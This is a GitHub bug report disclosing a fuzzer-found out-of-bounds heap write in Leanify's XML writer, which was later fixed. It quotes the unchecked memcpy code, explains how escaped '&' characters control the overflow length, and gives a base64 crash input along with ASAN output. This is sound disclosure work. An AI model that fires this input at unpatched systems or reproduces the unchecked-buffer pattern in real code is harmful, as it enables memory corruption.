Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fuzzing Tests: OOB Write in XML Parser #52

Closed
ghost opened this issue May 24, 2019 · 0 comments
Closed

Fuzzing Tests: OOB Write in XML Parser #52

ghost opened this issue May 24, 2019 · 0 comments

Comments

@ghost
Copy link

ghost commented May 24, 2019

Controlled Length Out of Bounds Write

Using the corpus of test files from the previous crash I also included an XML file. The crash is relative to the XML library implementation of Leanify resulting in another issue with an OOB write independent of the fixed OOB Read/Write in ICO. I discovered this via fuzzing and did some light root cause analysis and another party heavily expanded on the exploitability of this issue. Details below:

A moderately controllable memory corruption vulnerability affects the implementation of xml_memory_writer in formats/xml.cpp:179 as shown below:

++
struct xml_memory_writer : pugi::xml_writer {
uint8_t* p_write;

void write(const void* data, size_t size) override {
memcpy(p_write, data, size); # Line 179
p_write += size;
}
};
} // namespace
pugi::xml_writer implementations should additionally track the capacity of the target buffer as shown in the pugixml documentation here: https://pugixml.org/docs/samples/save_custom_writer.cpp

It is possible to control the amount of data written past the end of the buffer by appending characters that require escaping as shown in the text_output_escaped function in pugixml.cpp:3906 as shown below:

++
PUGI__FN void text_output_escaped(xml_buffered_writer& writer, const char_t* s, chartypex_t type, unsigned int flags)
{
/* TRUNCATED */
switch (*s)
{
case 0: break;
case '&':
writer.write('&', 'a', 'm', 'p', ';');
++s;
break;
case '<':
writer.write('&', 'l', 't', ';');
++s;
break;
case '>':
writer.write('&', 'g', 't', ';');
++s;
break;
case '"':
writer.write('&', 'q', 'u', 'o', 't', ';');
++s;
break;
default: // s is not a usual symbol
{
unsigned int ch = static_cast(*s++);
assert(ch < 32);

                                    if (!(flags & format_skip_control_chars))
                                            writer.write('&', '#', static_cast<char_t>((ch / 10) + '0'), static_cast<char_t>((ch % 10) + '0'), ';');
                            }

/* TRUNCATED */

The following base64 test case will crash the target binary by expanding a number of & to the escaped & (a gain of 4 bytes in extension).

PHBlcnNvbiBpZD0iPgombmFtYW5nciBSb2FDL2RpdBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQECYm
JiYmJiYmJiYmJiZ5JnkmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JyYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJkhFQVBfT1ZFUkZMT1cmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYm
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBBpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlp
aWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlsaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaXdpaWlp
aWlpEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEGdhIFJvYUMvZGl0eT4KEBAQEBAQEBAQ
EBBpaWlpaWlpaWlpaWlpaWlDaXR5PkghbmdhYXN0ZXIgSXNhaWxzLiAsIj4KPC9wZXJzb24+Cg==
For full stack trace on the crash, see the ASAN output below:

=================================================================
==461==ERROR: AddressSanitizer: unknown-crash on address 0xb7fce000 at pc 0xb7af7a42 bp 0xbfffc8f8 sp 0xbfffc4cc
WRITE of size 518 at 0xb7fce000 thread T0
#0 0xb7af7a41 in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8aa41)
#1 0xb7af7c2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
#2 0x819a38c in (anonymous namespace)::xml_memory_writer::write(void const*, unsigned int) [clone .lto_priv.243] formats/xml.cpp:179
#3 0x80d927e in flush lib/pugixml/pugixml.cpp:3716
#4 0x80d9106 in pugi::impl::(anonymous namespace)::xml_buffered_writer::flush() [clone .lto_priv.561] lib/pugixml/pugixml.cpp:3705
#5 0x80bfed4 in pugi::xml_document::save(pugi::xml_writer&, char const*, unsigned int, pugi::xml_encoding) const lib/pugixml/pugixml.cpp:7168
#6 0x819b5fe in Xml::Leanify(unsigned int) formats/xml.cpp:307
#7 0x81af203 in LeanifyFile(void*, unsigned int, unsigned int, std::__cxx11::basic_string<char, std::char_traits, std::allocator > const
&) /root/Leanify/leanify.cpp:140
#8 0x81b08c2 in ProcessFile /root/Leanify/main.cpp:53
#9 0x81b1cde in main /root/Leanify/main.cpp:230
#10 0xb76e6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#11 0x804b650 (/root/Leanify/leanify+0x804b650)
The testfile was generated using the AFL fuzzer by lcamtuf.

JayXon added a commit that referenced this issue Jun 2, 2019
The result could be larger due to escaping
@JayXon JayXon closed this as completed Jun 7, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant